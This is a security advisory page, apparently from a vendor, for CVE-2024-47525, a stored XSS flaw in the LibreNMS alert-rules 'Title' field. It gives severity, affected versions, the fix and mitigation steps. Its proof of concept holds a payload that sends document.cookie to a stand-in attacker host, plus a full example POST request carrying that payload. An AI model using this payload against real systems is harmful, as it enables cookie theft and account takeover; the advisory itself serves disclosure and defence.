CVE-2024-47525 is a high-severity (CVSS 7.5) Cross-site Scripting (XSS) vulnerability in librenms/librenms. 1 public exploit reference exists, so weaponization risk is real. A fix is available for librenms/librenms — see the affected versions and patch details below.
Stored XSS ('Cross-site Scripting') in librenms/includes/html/print-alert-rules.php
Exploitation Status
Proof-of-concept exploit code exists
- CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
Exploitation and automatability from CISA’s SSVC triage for CVE-2024-47525.
EPSS Exploitation Probability
EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.
How urgent is this, really
CVE-2024-47525 plotted by exploitation likelihood (EPSS) against impact (CVSS). The shaded corner — EPSS 50%+ and CVSS 7.0+ — is where this CVE doesn't sit, though severity or exploitability alone can still warrant action.
Where this sits among everything scored
Of 377,636 CVEs with a current EPSS score, this one falls in the 10–50% band (highlighted). Real counts from FIRST.org, not a sample — log-scaled since the landscape is heavily right-skewed.
Real-World Exposure
librenms/librenmsReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects Packagist packages — download data is not available via public APIs for these ecosystems.
Description
Summary
A Stored Cross-Site Scripting (XSS) vulnerability in the "Alert Rules" feature allows authenticated users to inject arbitrary JavaScript through the "Title" field. This vulnerability can lead to the execution of malicious code in the context of other users' sessions, potentially compromising their accounts and allowing unauthorized actions.
Details
The vulnerability occurs when creating an alert rule. The application does not properly sanitize user inputs in the "Title" field, which allows an attacker to escape the attribute context where the title is injected (data-content). Despite some character restrictions, the attacker can still inject a payload that leverages available attributes on the div element to execute JavaScript automatically when the page loads.
For example, the following payload can be used:
test1'' autofocus onfocus="document.location='https://<attacker-url>/logger.php?c='+document.cookie"
This payload triggers the XSS when the affected page is loaded, automatically redirecting the user to the attacker's controlled domain with any non-httponly cookies present.
The vulnerability stems from the application not sanitizing the value of $rule['name'] before adding it to the $enabled_msg variable. This is evident in the code:
PoC
- Create a new alert rule in the LibreNMS interface.
- In the "Title" field, input the following payload:
test1'' autofocus onfocus="document.location='https://<attacker-url>/logger.php?c='+document.cookie" - Save the rule and trigger the alert.
- Observe that when the page loads, the injected JavaScript executes and redirects the user, sending their non-httponly cookies to the attacker's server.
Example Request:
POST /ajax_form.php HTTP/1.1
Host: <your_host>
X-Requested-With: XMLHttpRequest
X-CSRF-TOKEN: <your_XSRF_token>
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Cookie: <your_cookie>
_token=<your_token>&device_id=-1&device_name=invalid+hostname&rule_id=17&type=alert-rules&template_id=&builder_json=%7B%22condition%22%3A%22AND%22%2C%22rules%22%3A%5B%7B%22id%22%3A%22access_points.accesspoint_id%22%2C%22field%22%3A%22access_points.accesspoint_id%22%2C%22type%22%3A%22string%22%2C%22input%22%3A%22text%22%2C%22operator%22%3A%22not_equal%22%2C%22value%22%3A%22test2'%5C%22%22%7D%5D%2C%22valid%22%3Atrue%7D&name=test1''+autofocus+onfocus%3D%22document.location%3D'https%3A%2F%2F<attacker_url>%2Flogger.php%3Fc%3D'%2Bdocument.cookie%22&builder_rule_0_filter=access_points.accesspoint_id&builder_rule_0_operator=not_equal&builder_rule_0_value_0=test2'%22&severity=warning&count=1&delay=1m&interval=5m&recovery=on&acknowledgement=on&maps%5B%5D=1&proc=¬es=Test2'%22&override_query=on&adv_query=select+'test3'%22'%3B
Impact
It could allow authenticated users to execute arbitrary JavaScript code in the context of other users' sessions. Impacted users could have their accounts compromised, enabling the attacker to perform unauthorized actions on their behalf.
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🐘Packagist | librenms/librenms | all versions | 24.9.0composer require librenms/librenms:^24.9.0 |
Research use only. For defensive security, authorized penetration testing, and academic research only. Never execute exploit code against systems without explicit written authorization.
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for librenms/librenms, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update librenms/librenms to 24.9.0 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2024-47525 is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 Security's impact-aware SCA analyses which vulnerable code paths your application actually calls, so a match like CVE-2024-47525 can be triaged on real exposure rather than presence alone.
Tailored to CVE-2024-47525. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is CVE-2024-47525 in your dependencies?
O3 Security finds CVE-2024-47525 across Packagist dependencies, including transitive ones, and its impact-aware SCA ranks findings by whether your code actually calls the vulnerable path.